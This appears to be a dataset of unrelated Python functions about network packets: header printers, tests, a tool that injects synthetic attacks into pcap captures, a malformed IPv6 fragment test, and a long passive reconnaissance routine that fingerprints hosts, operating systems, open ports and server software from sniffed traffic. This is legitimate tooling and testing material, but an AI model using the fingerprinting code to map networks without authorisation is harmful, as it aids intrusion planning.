str(format(int(ip_header[5][0]), '04b'))\r\n if flag[0] == \"0\":\r\n print(ip_prefix + \"\\t0... ... = Reserved bit: Not set\")\r\n else:\r\n print(ip_prefix + \"\\t1... ... = Reserved bit: set\")\r\n if flag[1] == \"0\":\r\n print(ip_prefix + \"\\t.0.. ... = Don't fragment: Not set\")\r\n else:\r\n print(ip_prefix + \"\\t.1.. ... = Don't fragment: set\")\r\n if flag[2] == \"0\":\r\n print(ip_prefix + \"\\t..0. ... = More fragments: Not set\")\r\n else:\r\n print(ip_prefix + \"\\t..1. ... = More fragments: set\")\r\n flag_offset = str((int(ip_header[5][2:3])))\r\n print(ip_prefix + \"Fragment offset = \" + flag_offset + \" bytes\")\r\n print(ip_prefix + \"Time to live = \" + str(ip_header[6]) + \" seconds/hops\")\r\n if protocol == 1:\r\n print(ip_prefix + \"Protocol = \" + str(protocol) + \" (ICMP)\")\r\n if protocol == 17:\r\n print(ip_prefix + \"Protocol = \" + str(protocol) + \" (UDP)\")\r\n if protocol == 6:\r\n print(ip_prefix + \"Protocol = \" + str(protocol) + \" (TCP)\")\r\n print(ip_prefix + \"Header checksum = \" + str(ip_header[8]))\r\n print(ip_prefix + \"Source address = \" + str(ip_header[9]))\r\n print(ip_prefix + \"Destination address = \" + str(ip_header[10]))\r\n if ip_header[11] == \"\":\r\n print(ip_prefix + \"No options\")\r\n else:\r\n print(ip_prefix + \"Options: \" + ip_header[11])\r\n print(ip_prefix)\r\n\r\n if protocol == 1:\r\n print(icmp_prefix + \"----- ICMP Header -----\")\r\n print(icmp_prefix)\r\n if str(data_header[0]) == \"8\":\r\n print(icmp_prefix + \"Type = \" + str(data_header[0]) + \" (Echo request)\")\r\n elif str(data_header[0]) == \"0\":\r\n print(icmp_prefix + \"Type = \" + str(data_header[0]) + \" (Echo reply)\")\r\n else:\r\n print(icmp_prefix + \"Type = \" + str(data_header[0]))\r\n print(icmp_prefix + \"Code = \" + str(data_header[1]))\r\n print(icmp_prefix + \"Checksum = \" + str(data_header[2]))\r\n print(icmp_prefix)\r\n\r\n elif protocol == 6:\r\n print(tcp_prefix + \"----- TCP Header -----\")\r\n print(tcp_prefix)\r\n print(tcp_prefix + \"Source port = \" + str(data_header[0]))\r\n print(tcp_prefix + \"Destination port = \" + str(data_header[1]))\r\n print(tcp_prefix + \"Sequence number = \" + str(data_header[2]))\r\n print(tcp_prefix + \"Acknowledgement number = \" + str(data_header[3]))\r\n print(tcp_prefix + \"Data offset = \" + str(data_header[4]) + \" bytes\")\r\n flag = str(data_header[5])\r\n print(tcp_prefix + \"\\tReserved: Not set\")\r\n print(tcp_prefix + \"\\tNonce: Not set\")\r\n if flag[0] == \"0\":\r\n print(tcp_prefix + \"\\tCWR: Not set\")\r\n else:\r\n print(tcp_prefix + \"\\tCWR: Set\")\r\n if flag[1] == \"0\":\r\n print(tcp_prefix + \"\\tECN-Echo : No set\")\r\n else:\r\n print(tcp_prefix + \"\\tECN-Echo: Set\")\r\n if flag[2] == \"0\":\r\n print(tcp_prefix + \"\\tUrgent: Not set\")\r\n else:\r\n print(tcp_prefix + \"\\tUrgent: Set\")\r\n if flag[3] == \"0\":\r\n print(tcp_prefix + \"\\tAcknowledgment: No set\")\r\n else:\r\n print(tcp_prefix + \"\\tAcknowledgment: Set\")\r\n if flag[4] == \"0\":\r\n print(tcp_prefix + \"\\tPush: No set\")\r\n else:\r\n print(tcp_prefix + \"\\tPush: Set\")\r\n if flag[5] == \"0\":\r\n print(tcp_prefix + \"\\tReset: No set\")\r\n else:\r\n print(tcp_prefix + \"\\tReset: Set\")\r\n if flag[6] == \"0\":\r\n print(tcp_prefix + \"\\tSyn: No set\")\r\n else:\r\n print(tcp_prefix + \"\\tSyn: Set\")\r\n if flag[7] == \"0\":\r\n print(tcp_prefix + \"\\tFin: No set\")\r\n else:\r\n print(tcp_prefix + \"\\tFin: Set\")\r\n print(tcp_prefix + \"Window = \" + str(data_header[6]))\r\n print(tcp_prefix + \"Checksum 0x= \" + str(data_header[7]))\r\n print(tcp_prefix + \"Urgent pointers = \" + str(data_header[8]))\r\n if data_header[9] != 0:\r\n print(tcp_prefix + \"Options\")\r\n else:\r\n print(tcp_prefix + \"No options\")\r\n print(tcp_prefix)\r\n\r\n elif protocol == 17:\r\n print(udp_prefix + \"----- UDP Header -----\")\r\n print(udp_prefix)\r\n print(udp_prefix + \"Source port = \" + str(data_header[0]))\r\n print(udp_prefix + \"Destination port = \" + str(data_header[1]))\r\n print(udp_prefix + \"Length = \" + str(data_header[2]))\r\n print(udp_prefix + \"Checksum = \" + str(data_header[3]))\r\n print(udp_prefix)","def process_pcap(self):\n # Create Core Controller\n controller = Controller(self.args.input, self.args.extraTests, self.args.non_verbose, self.args.output,\n self.args.debug)\n\n if not self.args.skip:\n # Load PCAP statistics\n recalculate_intervals = None\n if self.args.recalculate_delete:\n recalculate_intervals = True\n elif self.args.recalculate_yes:\n recalculate_intervals = True\n self.args.recalculate = True\n elif self.args.recalculate_no:\n recalculate_intervals = False\n self.args.recalculate = True\n controller.load_pcap_statistics(self.args.export, self.args.recalculate, self.args.statistics,\n self.args.statistics_interval, self.args.recalculate_delete,\n recalculate_intervals)\n\n if self.args.list_intervals:\n controller.list_interval_statistics()\n\n # Create statistics plots\n if self.args.plot is not None:\n do_entropy = False\n if self.args.extraTests:\n do_entropy = True\n controller.create_statistics_plot(self.args.plot, do_entropy)\n\n # Check rng seed\n if not isinstance(self.args.rngSeed, list):\n self.args.rngSeed = [self.args.rngSeed]\n\n # Process attack(s) with given attack params\n if self.args.attack is not None:\n # If attack is present, load attack with params\n controller.process_attacks(self.args.attack, self.args.rngSeed, self.args.time, self.args.inject_empty)\n\n # Parameter -q without arguments was given -> go into query loop\n if self.args.query == [None]:\n controller.enter_query_mode()\n # Parameter -q with arguments was given -> process query\n elif self.args.query is not None:\n controller.process_db_queries(self.args.query, True)","def mock_api_stage_success_get_state() -> List[bytes]:\n return create_standard_packets_list()","def spoof_packet(packet):","def simulate_driver_packet(driver, record_count):\n i = 0\n for packet in driver.genLoopPackets():\n print(\"Packet is: %s %s\"\n % (weeutil.weeutil.timestamp_to_string(packet['dateTime']),\n to_sorted_string(packet)))\n i += 1\n if i >= record_count:\n break","def test_good_data(self):\n self.client_socket.sendto(b'', DATA_SOCKET_FILE)\n (bytes, address) = self.client_socket.recvfrom(10)\n\n #self.assertEquals(address, DATA_SOCKET_FILE)\n\n # assert a successful registration\n self.assertEqual(len(bytes), 1)\n self.assertEqual(bytes[0], 0)\n\n data = b'hello world!'\n self.client_socket.sendto(data, DATA_SOCKET_FILE)\n (bytes, address) = self.client_socket.recvfrom(10)\n # assert a successful transmission\n self.assertEqual(len(bytes), 1)\n self.assertEqual(bytes[0], 0)","def test_send_empty_file():\n\n # Generate the blocks for the empty test file which is not already present on the server\n empty_file = os.path.join(os.path.dirname(__file__), \"../test_files/empty.txt\")\n # Ask the server for the hash of the last block\n response = client.get(\"/latest_block_hash\")\n last_block_hash = response.json()[\"last_block_hash\"]\n block = generate_blocks(empty_file, last_block_hash)\n # Encode the generated block into a binary file using pickle\n block_pickled = pickle.dumps(block)\n # Send the encoded block to the test server\n response = client.post(\"/send\",\n files={\"file\": block_pickled})\n\n assert response.ok\n assert response.json() \\\n == {\"success\": True,\n \"new_file\": True,\n \"hash\": \"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\n \"index_all\": 1}\n\n # Send the SHA256 checksum of the empty file to the server to be checked\n response = client.get(\"/check\",\n params={\"file_hash\": block[0].hash,\n \"index_all\": block[0].index_all})\n assert response.ok\n assert response.json() \\\n == {\"check\": True,\n \"hash\": \"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"}","def socket1():\n try:\n mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n mysock.connect(('www.py4inf.com', 80))\n mysock.send('GET http://www.py4inf.com/code/romeo.txt HTTP/1.0\\n\\n')\n\n while True:\n data = mysock.recv(512)\n if ( len(data) < 1 ) :\n break\n print data;\n mysock.close()\n \n except:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n print (\"Exception occured. Type:{0}, Object: {1}, TraceBack: {2}\", exc_type, exc_obj, exc_tb)","def postprocess(self, attempt_number, buffer_info, data, data_file, missed_packet=False):\n\t\t#print \"postprocessing {}\".format(packet_number)\n\n\t\tpp_start = time.clock()\n\t\tif missed_packet:\n\t\t\tprint \"supposedly missed packet {}\".format(attempt_number)\n\t\t\tattempt_number = -1 * attempt_number\n\n\t\twith open(data_file, 'a') as f:\n\t\t\t# postprocessing\n\t\t\tindex, prev_sample, latency = 0, 0, 0\n\t\t\tfor sample in data:\n\t\t\t\tif (index > buffer_info[0]):\n\t\t\t\t\t# we want to check every sample if test harness thinks packet was missed\n\t\t\t\t\tif latency == 4.096:\n\t\t\t\t\t\tprint \"only took 4096 samples?\"\n\t\t\t\t\tbreak\n\n\t\t\t\tif ((prev_sample ^ sample) != 0):\n\t\t\t\t\t# if sample is zero something wrong happened when reading from the buffer\n\n\t\t\t\t#if ((prev_sample ^ sample) & self.bits_to_monitor) != 0:\n\t\t\t\t\t# one or more of the bits to monitor have changed\n\n\t\t\t\t\t#TODO: add check to see if sample is weird. every output bit other than button press must always be high.\n\t\t\t\t\t#sample_output_str = str(get_bit(sample, self.packet_received_pos))\n\t\t\t\t\t#sample_output_str += str(get_bit(sample, self.packet_created_pos))\n\t\t\t\t\t#sample_output_str += str(get_bit(sample, self.button_press_mirror_pos))\n\t\t\t\t\tsample_output_str = binary_num_str(sample, split=True)\n\t\t\t\t\t#print sample_output_str\n\t\t\t\t\tlatency = index * self.period_ms\n\t\t\t\t\tf.write(\"{}, {}, {}, {}\\n\".format(attempt_number, index, latency, sample_output_str))\n\n\t\t\t\tindex += 1\n\t\t\t\tprev_sample = sample\n\n\t\tpp_stop = time.clock()\n\t\tif missed_packet:\n\t\t\tprint \"postprocessing took {} seconds\".format(pp_stop - pp_start)\n\t\telse:\t\t\n\t\t\tprint \"{} {}\".format(attempt_number, latency)\n\t\t#print \"cSamples: {}, cLost: {}, cCorrupted: {}\".format(buffer_info[0], buffer_info[1], buffer_info[2])\n\t\t#print \"took {} samples for packet {}\".format(index, packet_number)\n\t\t#print \"postprocessing took {} seconds\".format(pp_stop - pp_start)\n\t\t#print \"\\n\"\n\t\treturn","def test_invalid_packet_size(self):\n p = (\n Ether(dst=self.src_if.local_mac, src=self.src_if.remote_mac)\n / IPv6(src=self.src_if.remote_ip6, dst=self.src_if.local_ip6)\n / UDP(sport=1234, dport=5678)\n / Raw()\n )\n self.extend_packet(p, 1000, self.padding)\n fragments = fragment_rfc8200(p, 1, 500)\n bad_fragment = fragments[1]\n bad_fragment[IPv6ExtHdrFragment].offset = 65500\n self.pg_enable_capture()\n self.src_if.add_stream([bad_fragment])\n self.pg_start()\n pkts = self.src_if.get_capture(expected_count=1)\n icmp = pkts[0]\n self.assertIn(ICMPv6ParamProblem, icmp)\n self.assert_equal(icmp[ICMPv6ParamProblem].code, 0, \"ICMP code\")","def processpacket(p):\n\n\tglobal SynSentToTCPService\n\tglobal SynAckSentToTCPClient\n\tglobal LiveTCPService\n\tglobal LiveTCPClient\n\tglobal LiveUDPService\n\tglobal LiveUDPClient\n\tglobal NmapServerDescription\n\tglobal ManualServerDescription\n\tglobal ClientDescription\n\tglobal MacAddr\n\tglobal OSDescription\n\tglobal ServiceFPs\n\tglobal SipPhoneMatch\n\tglobal Devel\n\tglobal IsRouter\n\tglobal DNSRecord\n\tglobal HostIPs\n\n\tif (type(p) == Dot3) and (type(p['LLC']) == LLC):\n\t\tUnhandledPacket(p)\n\t\t#Spanning Tree Protocol\n\t\t#Debug(\"802.3\")\n\t\t#p.show()\n\t\t#print type(p['LLC'])\n\telif (p['Ethernet'] == None):\n\t\tDebug(\"non-ethernet packet\")\t\t#Need more details on how to handle.\n\t\tUnhandledPacket(p)\n\t\t#p.show()\n\t\t#print type(p)\n\t\t#quit()\n\telif p['Ethernet'].type == 0x0806:\t\t#ARP\n\t\t#pull arp data from here instead of tcp/udp packets, as these are all local\n\t\tif (p['ARP'].op == 1):\t\t\t#1 is request (\"who-has\")\n\t\t\tpass\n\t\tif (p['ARP'].op == 2):\t\t\t#2 is reply (\"is-at\")\n\t\t\tif (p['ARP.psrc'] != None) and (p['ARP.hwsrc'] != None):\n\t\t\t\tIPAddr=p['ARP.psrc']\n\t\t\t\tMyMac=p['ARP.hwsrc'].upper()\n\t\t\t\tif (not MacAddr.has_key(IPAddr)) or (MacAddr[IPAddr] != MyMac):\n\t\t\t\t\tReportId(\"MA\", IPAddr, 'Ethernet', MyMac, '')\n\t\t\telse:\n\t\t\t\tUnhandledPacket(p)\n\t\telse:\n\t\t\tUnhandledPacket(p)\n\telif p['Ethernet'].type == 0x0800:\t\t#IP\n\t\tsIP=str(p['IP'].src)\n\t\tdIP=str(p['IP'].dst)\n\t\t#Best to get these from arps instead; if we get them from here, we get router macs for foreign addresses.\n\t\t#if not MacAddr.has_key(sIP):\n\t\t#\tReportId(\"MA\", sIP, \"Ethernet\", p['Ethernet'].src, '')\n\t\t#if not MacAddr.has_key(dIP):\n\t\t#\tReportId(\"MA\", dIP, \"Ethernet\", p['Ethernet'].dst, '')\n\n\t\tif p['IP'].proto == 1:\t\t\t#ICMP\n\t\t\tType = p['ICMP'].type\n\t\t\tCode = p['ICMP'].code\n\n\t\t\tif (Type == 0):\t\t\t\t\t\t#Echo reply\n\t\t\t\tif (not(OSDescription.has_key(sIP))):\n\t\t\t\t\tReportId(\"IP\", sIP, \"IP\", \"live\", 'icmp echo reply')\n\t\t\telif (Type == 3) and (type(p[IPerror]) == IPerror):\t#Unreachable, check that we have an actual embedded packet\n\t\t\t\t#if (type(p[IPerror]) != IPerror):\n\t\t\t\t#\tp.show()\n\t\t\t\t#\tprint type(p[IPerror])\n\t\t\t\t#\tquit()\n\t\t\t\tOrigdIP = p[IPerror].dst\n\t\t\t\tif (Code == 0):\t\t\t\t\t#Net unreachable\n\t\t\t\t\tif (not(OSDescription.has_key(OrigdIP))):\n\t\t\t\t\t\tReportId(\"IP\", OrigdIP, \"IP\", \"dead\", 'net unreachable')\n\t\t\t\t\tif (not(IsRouter.has_key(sIP))):\n\t\t\t\t\t\tReportId(\"RO\", sIP, \"NetUn\", \"router\", \"\")\n\t\t\t\telif (Code == 1):\t\t\t\t#Host unreachable\n\t\t\t\t\tif (not(OSDescription.has_key(OrigdIP))):\n\t\t\t\t\t\tReportId(\"IP\", OrigdIP, \"IP\", \"dead\", 'host unreachable')\n\t\t\t\t\tif (not(IsRouter.has_key(sIP))):\n\t\t\t\t\t\tReportId(\"RO\", sIP, \"HostUn\", \"router\", \"\")\n\t\t\t\telif (Code == 3) and (p[IPerror].proto == 17):\t#Port unreachable and embedded protocol = 17, UDP, as it should be\n\t\t\t\t\tDNSServerLoc = p[IPerror].src + \",UDP_53\"\n\t\t\t\t\tif (p[UDPerror].sport == 53) and (ManualServerDescription.has_key(DNSServerLoc)) and (ManualServerDescription[DNSServerLoc] == \"dns/server\"):\n\t\t\t\t\t\t#If orig packet coming from 53 and coming from a dns server, don't do anything (closed port on client is a common effect)\n\t\t\t\t\t\t#Don't waste time on port unreachables going back to a dns server; too common, and ephemeral anyways.\n\t\t\t\t\t\tpass\n\t\t\t\t\telse:\n\t\t\t\t\t\t#If orig packet coming from something other than 53, or coming from 53 and NOT coming from a dns server, log as closed\n\t\t\t\t\t\tOrigDPort = str(p[UDPerror].dport)\n\t\t\t\t\t\tOrigDstService = OrigdIP + \",UDP_\" + OrigDPort\n\t\t\t\t\t\tif ((not LiveUDPService.has_key(OrigDstService)) or (LiveUDPService[OrigDstService] == True)):\n\t\t\t\t\t\t\tLiveUDPService[OrigDstService] = False\n\t\t\t\t\t\t\tReportId(\"US\", OrigdIP, \"UDP_\" + OrigDPort, \"closed\", \"port unreachable\")\n\t\t\t\telif (Code == 3) and (p[IPerror].proto == 6) and (p[TCPerror].dport == 113):\t#Port unreachable and embedded protocol = 6, TCP, which it shouldn't. May be the same firewall providing the TCP FR's\n\t\t\t\t\tpass\n\t\t\t\telif (Code == 6):\t\t\t\t#Net unknown\n\t\t\t\t\tif (not(OSDescription.has_key(OrigdIP))):\n\t\t\t\t\t\tReportId(\"IP\", OrigdIP, \"IP\", \"dead\", 'net unknown')\n\t\t\t\telif (Code == 7):\t\t\t\t#Host unknown\n\t\t\t\t\tif (not(OSDescription.has_key(OrigdIP))):\n\t\t\t\t\t\tReportId(\"IP\", OrigdIP, \"IP\", \"dead\", 'host unknown')\n\t\t\t\telif (Code == 9):\t\t\t\t#Network Administratively Prohibited\n\t\t\t\t\tpass\t\t\t\t\t#Can't tell much from this type of traffic. Possibly list as firewall?\n\t\t\t\telif (Code == 10):\t\t\t\t#Host Administratively Prohibited\n\t\t\t\t\tpass\n\t\t\t\telif (Code == 11):\t\t\t\t#Network unreachable for TOS\n\t\t\t\t\tpass\n\t\t\t\telif (Code == 12):\t\t\t\t#Host unreachable for TOS\n\t\t\t\t\tpass\n\t\t\t\telif (Code == 13):\t\t\t\t#Communication Administratively prohibited\n\t\t\t\t\tpass\n\t\t\t\telse:\n\t\t\t\t\tUnhandledPacket(p)\n\t\t\telif (Type == 8):\t\t\t\t\t#ping\n\t\t\t\t#FIXME - check payload for ping sender type, perhaps\n\t\t\t\tpass\n\t\t\telif (Type == 11):\t\t\t\t\t#Time exceeded\n\t\t\t\tif (Code == 0):\t\t\t\t\t#TTL exceeded\n\t\t\t\t\tif (not(IsRouter.has_key(sIP))):\n\t\t\t\t\t\t#FIXME - put original target IP as column 5?\n\t\t\t\t\t\tReportId(\"RO\", sIP, \"TTLEx\", \"router\", \"\")\n\t\t\t\telse:\n\t\t\t\t\tUnhandledPacket(p)\n\t\t\telse:\n\t\t\t\tUnhandledPacket(p)\n\t\telif p['IP'].proto == 2:\t\t#IGMP\n\t\t\tUnhandledPacket(p)\n\t\telif p['IP'].proto == 6:\t\t#TCP\n\t\t\tsport=str(p['TCP'].sport)\n\t\t\tdport=str(p['TCP'].dport)\n\t\t\t#print p['IP'].src + \":\" + sport + \" -> \", p['IP'].dst + \":\" + dport,\n\t\t\tif (p['TCP'].flags & 0x17) == 0x12:\t#SYN/ACK (RST and FIN off)\n\t\t\t\tCliService = dIP + \",TCP_\" + sport\n\t\t\t\tif not SynAckSentToTCPClient.has_key(CliService):\n\t\t\t\t\tSynAckSentToTCPClient[CliService] = True\n\n\t\t\t\t#If we've seen a syn sent to this port and have either not seen any SA/R, or we've seen a R in the past:\n\t\t\t\t#The last test is for a service that was previously closed and is now open; report each transition once.\n\t\t\t\tService = sIP + \",TCP_\" + sport\n\t\t\t\tif ( (SynSentToTCPService.has_key(Service)) and ((not LiveTCPService.has_key(Service)) or (LiveTCPService[Service] == False)) ):\n\t\t\t\t\tLiveTCPService[Service] = True\n\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", '')\n\t\t\telif (p['TCP'].flags & 0x17) == 0x02:\t#SYN (ACK, RST, and FIN off)\n\t\t\t\tService = dIP + \",TCP_\" + dport\n\t\t\t\tif not SynSentToTCPService.has_key(Service):\n\t\t\t\t\tSynSentToTCPService[Service] = True\n\t\t\t\t#Debug(\"trying to fingerprint \" + sIP)\n\t\t\t\ttry:\n\t\t\t\t\tp0fdata = p0f(p)\n\t\t\t\t\t#FIXME - reasonably common occurence, don't whine, just fix it.\n\t\t\t\t\t#if (len(p0fdata) >1):\n\t\t\t\t\t#\tDebug(\"More than one OS fingerprint for \" + sIP + \", using the first.\")\n\t\t\t\t\tif (len(p0fdata) >=1):\n\t\t\t\t\t\tPDescription = p0fdata[0][0] + \" \" + p0fdata[0][1] + \" (\" + str(int(p0fdata[0][2]) + 1)\t#FIXME - Grabbing just the first candidate, may need to compare correlation values; provided?\n\t\t\t\t\t\tif (p0fdata[0][2] == 0):\n\t\t\t\t\t\t\tPDescription = PDescription + \" hop away)\"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tPDescription = PDescription + \" hops away)\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t#[N][2] param appears to be distance away in hops (but add 1 to this to get real hop count?)\n\t\t\t\t\t\tPDescription = PDescription.replace(',', ';')\t\t#Commas are delimiters in output\n\t\t\t\t\t\tif (not(OSDescription.has_key(sIP))) or (OSDescription[sIP] != PDescription):\n\t\t\t\t\t\t\tOSDescription[sIP] = PDescription\n\t\t\t\t\t\t\tReportId(\"IP\", sIP, \"IP\", \"live\", PDescription)\n\t\t\t\texcept:\n\t\t\t\t\tPDescription = 'p0f failure'\n\t\t\t\t\tif (not(OSDescription.has_key(sIP))) or (OSDescription[sIP] != PDescription):\n\t\t\t\t\t\tDebug(\"P0f failure in \" + sIP + \":\" + sport + \" -> \" + dIP + \":\" + dport)\n\t\t\t\t\t\tOSDescription[sIP] = PDescription\n\t\t\t\t\t\tReportId(\"IP\", sIP, \"IP\", \"live\", PDescription)\n\t\t\telif (p['TCP'].flags & 0x07) == 0x01:\t#FIN (SYN/RST off)\n\t\t\t\tCliService = sIP + \",TCP_\" + dport\n\t\t\t\tif ( (SynAckSentToTCPClient.has_key(CliService)) and ((not LiveTCPClient.has_key(CliService)) or (LiveTCPClient[CliService] == False)) ):\n\t\t\t\t\tLiveTCPClient[CliService] = True\n\t\t\t\t\tReportId(\"TC\", sIP, \"TCP_\" + dport, \"open\", '')\n\t\t\telif (p['TCP'].flags & 0x07) == 0x04:\t#RST (SYN and FIN off)\n\t\t\t\t#FIXME - handle rst going in the other direction?\n\t\t\t\tService = sIP + \",TCP_\" + sport\n\t\t\t\tif ( (SynSentToTCPService.has_key(Service)) and ((not LiveTCPService.has_key(Service)) or (LiveTCPService[Service] == True)) ):\n\t\t\t\t\tLiveTCPService[Service] = False\n\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"closed\", '')\n\t\t\telif ((p['TCP'].flags & 0x3F) == 0x15) and (sport == \"113\"):\t#FIN, RST, ACK (SYN, PSH, URG off)\n\t\t\t\t#This may be a firewall or some other device stepping in for 113 with a FIN/RST.\n\t\t\t\tpass\n\t\t\telif (p['TCP'].flags & 0x17) == 0x10:\t#ACK (RST, SYN, and FIN off)\n\t\t\t\t#FIXME - check for UnhandledPacket placement in ACK\n\t\t\t\tFromPort = sIP + \",TCP_\" + sport\n\t\t\t\tToPort = dIP + \",TCP_\" + dport\n\t\t\t\tPayload = str(p['Raw.load'])\t\t\t#For some reason this doesn't handle p['Raw'].load\n\t\t\t\tif ( (LiveTCPService.has_key(FromPort)) and (LiveTCPService[FromPort] == True) and (LiveTCPService.has_key(ToPort)) and (LiveTCPService[ToPort] == True)):\n\t\t\t\t\tprint \"Logic failure: both \" + FromPort + \" and \" + ToPort + \" are listed as live services.\"\n\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\telif ((LiveTCPService.has_key(FromPort)) and (LiveTCPService[FromPort] == True)):\t#If the \"From\" side is a known TCP server:\n\t\t\t\t\tif (not NmapServerDescription.has_key(FromPort) ):\t\t#Check nmap fingerprint strings for this server port\n\t\t\t\t\t\tif (ServiceFPs.has_key(int(sport))):\n\t\t\t\t\t\t\tfor OneTuple in ServiceFPs[int(sport)]:\n\t\t\t\t\t\t\t\tMatchObj = OneTuple[0].search(Payload)\n\t\t\t\t\t\t\t\tif (MatchObj != None):\n\t\t\t\t\t\t\t\t\t#Debugging:\n\t\t\t\t\t\t\t\t\t#FIXME - removeme once understood:\n\t\t\t\t\t\t\t\t\t#File \"/home/wstearns/med/programming/python/passer/passer.py\", line 504, in processpacket\n\t\t\t\t\t\t\t\t\t#OutputDescription = OutputDescription.replace('$' + str(Index), MatchObj.group(Index))\n\t\t\t\t\t\t\t\t\t#TypeError: expected a character buffer object\n\t\t\t\t\t\t\t\t\tif (OneTuple[1] == None):\n\t\t\t\t\t\t\t\t\t\tDebug(\"Null description for \" + OneTuple[0])\n\t\t\t\t\t\t\t\t\t\t#quit()\n\t\t\t\t\t\t\t\t\tOutputDescription = OneTuple[1]\n\t\t\t\t\t\t\t\t\tif len(MatchObj.groups()) >= 1:\n\t\t\t\t\t\t\t\t\t\t#We have subexpressions matched, these need to be inserted into the description string\n\t\t\t\t\t\t\t\t\t\tfor Index in range(1,len(MatchObj.groups())+1):\n\t\t\t\t\t\t\t\t\t\t\t#Example: Replace \"$1\" with MatchObj.group(1)\n\t\t\t\t\t\t\t\t\t\t\tOutputDescription = OutputDescription.replace('$' + str(Index), str(MatchObj.group(Index)))\n\t\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", OutputDescription)\n\t\t\t\t\t\t\t\t\tNmapServerDescription[sIP + \",TCP_\" + sport] = OutputDescription\n\t\t\t\t\t\t\t\t\tbreak\t\t\t\t\t#Exit for loop, no need to check any more fingerprints now that we've found a match\n\n\t\t\t\t\tif (not NmapServerDescription.has_key(FromPort)):\t\t#If the above loop didn't find a server description\n\t\t\t\t\t\tif (ServiceFPs.has_key('all')):\t\t\t\t#Now recheck against regexes not associated with a specific port (port 'all').\n\t\t\t\t\t\t\tfor OneTuple in ServiceFPs['all']:\n\t\t\t\t\t\t\t\tMatchObj = OneTuple[0].search(Payload)\n\t\t\t\t\t\t\t\tif (MatchObj != None):\n\t\t\t\t\t\t\t\t\tOutputDescription = OneTuple[1]\n\t\t\t\t\t\t\t\t\tif len(MatchObj.groups()) >= 1:\n\t\t\t\t\t\t\t\t\t\t#We have subexpressions matched, these need to be inserted into the description string\n\t\t\t\t\t\t\t\t\t\tfor Index in range(1,len(MatchObj.groups())+1):\n\t\t\t\t\t\t\t\t\t\t\tOutputDescription = OutputDescription.replace('$' + str(Index), MatchObj.group(Index))\n\t\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", OutputDescription)\n\t\t\t\t\t\t\t\t\tNmapServerDescription[sIP + \",TCP_\" + sport] = OutputDescription\n\t\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\tif (not ManualServerDescription.has_key(FromPort) ):\n\t\t\t\t\t\tif (sport == \"22\") and (Payload != None) and (Payload.find('SSH-') > -1):\n\t\t\t\t\t\t\tif ( (Payload.find('SSH-1.99-OpenSSH_') > -1) or (Payload.find('SSH-2.0-OpenSSH_') > -1) ):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"ssh/openssh\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"ssh/openssh\"\n\t\t\t\t\t\t\telif (Payload.find('SSH-1.5-') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"ssh/generic\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"ssh/generic\"\n\t\t\t\t\t\t\t\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\t\t\t\t\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\n\t\t\t\t\t\telif (sport == \"25\") and (Payload != None) and (Payload.find(' ESMTP Sendmail ') > -1):\n\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"smtp/sendmail\")\n\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"smtp/sendmail\"\n\t\t\t\t\t\telif (sport == \"25\") and (Payload != None) and (Payload.find(' - Welcome to our SMTP server ESMTP') > -1):\n\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"smtp/generic\")\n\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"smtp/generic\"\n\t\t\t\t\t\t\tUnhandledPacket(p)\n\t\t\t\t\t\t\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\n\t\t\t\t\t\t#Check for port 80 and search for \"Server: \" once\n\t\t\t\t\t\telif (sport == \"80\") and (Payload != None) and (Payload.find('Server: ') > -1):\n\t\t\t\t\t\t\tif (Payload.find('Server: Apache') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/apache\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/apache\"\n\t\t\t\t\t\t\telif (Payload.find('Server: Embedded HTTP Server') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/embedded\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/embedded\"\n\t\t\t\t\t\t\telif (Payload.find('Server: gws') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/gws\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/gws\"\n\t\t\t\t\t\t\telif (Payload.find('Server: KFWebServer') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/kfwebserver\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/kfwebserver\"\n\t\t\t\t\t\t\telif (Payload.find('Server: micro_httpd') > -1):\n\t\t\t\t\t\t\t\tReportId(\"TS\", sIP, \"TCP_\" + sport, \"listening\", \"http/micro-httpd\")\n\t\t\t\t\t\t\t\tManualServerDescription[sIP + \",TCP_\" + sport] = \"http/micro-httpd\"\n\t\t\t\t\t\t\telif (Payload.find('Server: Microsoft-IIS') > 